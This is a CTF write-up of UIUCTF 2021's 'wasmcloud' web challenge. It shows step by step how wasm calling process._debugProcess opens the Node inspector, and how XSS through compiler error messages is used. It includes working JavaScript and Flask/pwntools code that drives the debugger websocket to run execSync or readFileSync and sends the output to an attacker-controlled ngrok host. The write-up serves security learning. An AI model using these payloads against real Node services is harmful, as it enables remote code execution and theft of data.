UIUCTF 2021 - wasmcloud

Categories: web
2021-08-03
by sera

wasm… as a service!

http://wasmcloud.chal.uiuc.tf

HINT: They say to focus on the process, not the outcome

author: kuilin

handout.tar.gz

wasmcloud (Web, unsolved during CTF)

This web challenge is a service that runs some user’s webassembly (wasm) on the server. The flag is inside a nsjail (a secure sandbox) with the process actually running the webassembly - however, wasm does not provide any way of communicating with anything besides imports. Handout contains Dockerfile and source code.

Shoutouts to nope for writing the webassembly for this challenge and the rest of my teammates for helping bounce ideas.

Service Description

The challenge is not that big, but there are a few confusing parts.

First, I’ll discuss what happens when you press the “run” button on the site:

image of site output

Along with the ability to run wasm, we have an admin bot. This might seem weird since the flag is on disk and not in admin cookies. Nevertheless, we can run it with the /report endpoint.

The /report endpoint just attempts to verify the URL and captcha then spawns the admin bot. The admin bot is on localhost and will only visit http(s) URLs. It has no cookies and does nothing besides visit the page and wait 10 seconds.

Solving

The first bug I noticed was the URL validation in the /report endpoint was useless. Here is the corresponding code:

// assume url is to wasmcloud (client checks it, so there should be no confusion)
const url = "http://127.0.0.1:1337" + new URL(req.body.url).pathname;
spawn("node", ["bot.js", req.body.url]);

The url variable is constructed, but not actually used, and client side checking is meaningless when we can send whatever we want to the server. We are able to inject a parameter, to spawn but unfortunately node will not parse any arguments after the script name directly and forward them to the script. This means the only result of this bug is we can pass any http(s) to the bot, which still seems better.

(I only knew this after solving, but this bug is a bit useless and only forces you to write the URL with correct port out yourself along with disabling the client side validation. The extended body parser is also enabled for this endpoint but I don’t think it allows anything interesting.)

The next thing I noticed was the whole process module is imported into your wasm, so you can call any function in the module that takes a wasm type. However, wasm seems to have a limit of a 2 level namespace, so we can only call something like process.x and not process.x.y. In addition, we cannot read variables off the imported module.

If we consult the node documentation, it looks like there is nothing really useful. But we know better to trust documentation. We can simply type process into a node instance to see what top level functions are avaliable to us.

> process
process {
  _rawDebug: [Function: _rawDebug],
  binding: [Function: binding],
  _linkedBinding: [Function: _linkedBinding],
  dlopen: [Function: dlopen],
  uptime: [Function: uptime],
  _getActiveRequests: [Function: _getActiveRequests],
  _getActiveHandles: [Function: _getActiveHandles],
  reallyExit: [Function: reallyExit],
  _kill: [Function: _kill],
  hrtime: [Function: hrtime] { bigint: [Function: hrtimeBigInt] },
  cpuUsage: [Function: cpuUsage],
  resourceUsage: [Function: resourceUsage],
  memoryUsage: [Function: memoryUsage],
  kill: [Function: kill],
  exit: [Function: exit],
  openStdin: [Function],
  getuid: [Function: getuid],
  geteuid: [Function: geteuid],
  getgid: [Function: getgid],
  getegid: [Function: getegid],
  getgroups: [Function: getgroups],
  assert: [Function: deprecated],
  _fatalException: [Function],
  setUncaughtExceptionCaptureCallback: [Function],
  hasUncaughtExceptionCaptureCallback: [Function: hasUncaughtExceptionCaptureCallback],
  emitWarning: [Function: emitWarning],
  nextTick: [Function: nextTick],
  _tickCallback: [Function: runNextTicks],
  _debugProcess: [Function: _debugProcess],
  _debugEnd: [Function: _debugEnd],
  _startProfilerIdleNotifier: [Function: _startProfilerIdleNotifier],
  _stopProfilerIdleNotifier: [Function: _stopProfilerIdleNotifier],
  abort: [Function: abort],
  umask: [Function: wrappedUmask],
  chdir: [Function],
  cwd: [Function: wrappedCwd],
  initgroups: [Function: initgroups],
  setgroups: [Function: setgroups],
  setegid: [Function],
  seteuid: [Function],
  setgid: [Function],
  setuid: [Function],

That’s a bit better. We can see quite a few undocumented functions, and as the hint says They say to focus on the process, not the outcome, we can assume that we should investigate these.

One of the more interesting functions is binding. If we try it in our node shell, it turns out this functions like require and will return a module based on its argument. However this turns out to be a dead end for two reasons:

The functions emitWarning and _fatalException can print to stderr but again we can’t pass in strings.

Note: This is as far as I got during the actual CTF since I had a lot else to work on but I came back to it after pwnyIDE was solved.

At this point I took a step back and analyzed the actual nsjail configuration:

const proc = spawn("nsjail", [
    "-Mo", "-Q", "-N", "--disable_proc",
    "--chroot", "/chroot/",
    "--time_limit", "1",
    "--",
    "/usr/local/bin/node", "/sandbox.js"
]);

There are quite a few short flag names. -Mo means execve once, -Q means quiet, and -N causes… the host network to be bridged? This made me think we were expected to somehow start a server inside the jail that the admin bot could connect to - since we bypassed the port filter and all.

As it turns out, the _debugProcess(pid) function starts a debug server!

> process._debugProcess(0)
Debugger listening on ws://127.0.0.1:9229/d393084e-b372-407c-972d-cb130dd35d4a
For help, see: https://nodejs.org/en/docs/inspector

The documentation states a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process. This sounds perfect, but it’s a websocket server and requires a random uuidv4.

After doing some googling, I found out this port also runs a few HTTP endpoints including /json/list, which returns the full websocket URL to conncect to the debugger:

[ {
  "description": "node.js instance",
  "devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=localhost:9229/d393084e-b372-407c-972d-cb130dd35d4a",
  "devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=localhost:9229/d393084e-b372-407c-972d-cb130dd35d4a",
  "faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
  "id": "d393084e-b372-407c-972d-cb130dd35d4a",
  "title": "/snap/node/5146/bin/node[11082]",
  "type": "node",
  "url": "file://",
  "webSocketDebuggerUrl": "ws://localhost:9229/d393084e-b372-407c-972d-cb130dd35d4a"
} ]

Looks great, but we can’t connect to this by sending the admin bot to a page on our server because it’s a different host. There’s actually 2 CVEs related to this where you could use DNS rebinding, but that has been fixed in the version on the server.

I started to look for places to do XSS and found a suspicious line near the top of the server:

app.use(function (req, res, next) {
    res.header("Content-Type", "text/html");
    next();
});

This forces all responses to be rendered by the server even if the browser would usually sniff them out as a different content type. Since our wasm output is connected to /run/, I thought it would be possible to have the wasm just print out the string and get XSS that way, but turns out it’s a dead end because wasm cannot pass a string to process.emitWarning, and we can’t access process.stdout.write even though it would take a buffer.

However, I realized we could use the compiler error messages. Trying to import a function that fails will print its name to stdout. For example, if we upload the following and visit its /run/ page directly, we will get an alert popup.

(module
  (import "process" "<script>alert(1)</script>" (func $return (param i32)))
  (func (export "main") (local $meme1 i32)
    i32.const 69420
    call $return
  )
)

So we can construct a simple payload that fetches /list/ and then contact the websocket to get access. This page describes a simple payload for the node debugger protocol that will execute some code.

const f = async (url) => {
    while(true) {
        try {
            return await fetch(url, options);
        } catch (err) {
            await new Promise(r => setTimeout(r, 100));
        }
    }
};
async function g(){
    let a;
    await f(`http://localhost:9229/json/list`).then(r=>r.json()).then(d=>{a=d});
    let s = new WebSocket(`${a[0][webSocketDebuggerUrl]}`);
    s.onopen = function() {
        data = `require = process.mainModule.require; execSync = require('child_process').execSync; execSync('cat flag.txt');`;
        s.send(JSON.stringify({'id':1,'method':'Runtime.evaluate','params':{'expression': data}}));
    };
    s.onmessage = function (event) {
        fetch(`https://server/?`+btoa(event.data));
    };
};
g();

My idea here was just to keep calling /json/list until a server happens to be up and use it. I asked nope to write some webassembly that just calls _debugProcess, brute forcing the PID, and spins a loop at this point and here’s what he came up with:

(module
  (import "process" "exit" (func $return (param i32)))
  (import "process" "_debugProcess" (func $enable (param i32)))
  (func (export "main") (local $meme1 i32)
    i32.const 0
    set_local $meme1
    
    loop $B0
      get_local $meme1
      call $enable
      get_local $meme1
      i32.const 1
      i32.add
      set_local $meme1
      get_local $meme1
      i32.const 9999
      i32.ne
      br_if $B0
    end
    
    loop $B1
      i32.const 1
      i32.const 2
      i32.add
      br $B1
    end

    i32.const 69420
    call $return
  )
)

At this point I’m thinking I have all the parts - here’s what we’ll do:

I try it, and it doesn’t work (what did you expect?). I then remember that a different port is not same origin, something I really should know. So we need to find a new method to get the websocket URL. The URL is printed out, but since we only get the output after calling /run/, that’s too late, right? Well, since the response is returned chunked, it turns out we can read the webstocket URL that was sent to stderr before the server closes.

However, to get the timing to behave, we’ll need to spin up a small http server ourselves that starts the wasm and returns a websocket URL on being called;

Here’s the one I made:

from flask import Flask
import requests
from pwn import *
from flask_cors import CORS, cross_origin
app = Flask(__name__)
cors = CORS(app)
app.config['CORS_HEADERS'] = 'Content-Type'

def make_r():
    r = remote("wasmcloud.chal.uiuc.tf", 80)
    r.sendline(b"GET /run/your-wasm-hash.wasm HTTP/1.1\r\n")
    uuid = r.recv(1024).decode().split(" ")[-4].split("\n")[0]
    # Im lazy
    return uuid

@app.route("/")
@cross_origin()
def hello_world():
    return make_r()

app.run(port=8080)

And the corresponding js:

async function g(){
    let a;
    await fetch(`http://server.ngrok.io/`).then(r=>r.text()).then(d=>{a=d});
    console.log(a);
    let s = new WebSocket(a);
    s.onopen = function() {
        data = `(eval payload)`;
        s.send(JSON.stringify({'id':1,'method':'Runtime.evaluate','params':{'expression': data}}));
    };
    s.onmessage = function (event) {
        fetch(`http://server.ngrok.io/?`+btoa(event.data));
    };
};
g();

I run this and get… a ulimit error from spawning a child. Great. After changing the payload and resubmitting the captcha few times, we get the flag with require = process.mainModule.require;fs = require('fs');fs.readFileSync('flag.txt').toString();:

uiuctf{https://youtu.be/17ocaZb-bGg}

Things after solving

The XSS bug was actually completely unneccessary because websockets do not have the concept of a same origin policy, so we could have send the admin to our server and have that return the script too - here’s a sample server that does that:

from flask import Flask
import requests
import http.client
from pwn import *
from flask_cors import CORS, cross_origin
app = Flask(__name__)
cors = CORS(app)
app.config['CORS_HEADERS'] = 'Content-Type'

def make_r():
    print("make_r: hi")
    r = remote("wasmcloud.chal.uiuc.tf", 80)
    r.sendline(b"GET /run/a9323890b8db4c5a.wasm HTTP/1.1\r\n")
    uuid = r.recv(1024).decode().split(" ")[-4].split("\n")[0]
    return uuid

@app.route("/")
@cross_origin()
def hello_world():
    uuid = make_r()
    s = """<!DOCTYPE html><script>
async function g(){
    let s = new WebSocket("%s");
    s.onopen = function() {
        data = `require = process.mainModule.require;fs = require('fs');fs.readFileSync('flag.txt').toString();`;
        s.send(JSON.stringify({'id':1,'method':'Runtime.evaluate','params':{'expression': data}}));
    };
    s.onmessage = function (event) {
        fetch(`http://server.ngrok.io/?`+btoa(event.data));
    };
};
g();
</script>""" % uuid
    return s

app.run(port=8080)

Submitting your ngrok URL with this to the admin bot is enough to get the flag.

We also could have just had the XSS script fetch /run/ itself, but I don’t wanna make a PoC for this.